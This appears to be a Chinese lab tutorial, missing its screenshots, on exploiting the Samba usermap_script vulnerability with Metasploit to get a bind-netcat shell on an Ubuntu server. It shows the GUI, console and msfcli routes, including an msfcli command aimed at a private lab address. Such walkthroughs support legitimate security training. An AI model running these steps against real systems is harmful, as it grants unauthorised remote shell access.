打开终端，输入

metasploit的图形化界面

由于BT5中可以在终端打开图形化界面，但是在最新版本中已经移除msfgui的命令了。

选择no

我们打开ubuntu的服务器

查看获取的IP地址

我们选择exploit模块，multi选项，选择samba，选择usermap_script

链接成功的画面

我们选择cmd里面的unix ，里面的bind—netcat

设置目标的IP地址

选择run exploit

我们看到shell选项，数量变为1

hosts的状态变为alive

通过shell命令，可以知道已经链接上ubuntu服务器了

通过MSF终端进行操作

输入

通过help查看帮助

查找samba服务的漏洞

发现服务漏洞脚本

输入show options来查看选择

设置目标IP地址

输入show payloads 选择攻击载荷

选择cmd 、unix、bind-netcat

输入exploit，开始启动

已经成功反弹一个shell

使用msfcli进行控制

msf使用一个调用接口

以samba漏洞服务为例

输入

msfcli（使用接口）

multi/samba/usermap_script（渗透攻击模块）

PLAYLOAD=cmd/unix/bind_netcat（攻击载荷模块）

RHOST=192.168.10.254（目标地址）

E（执行，exploit）

效果是一样的。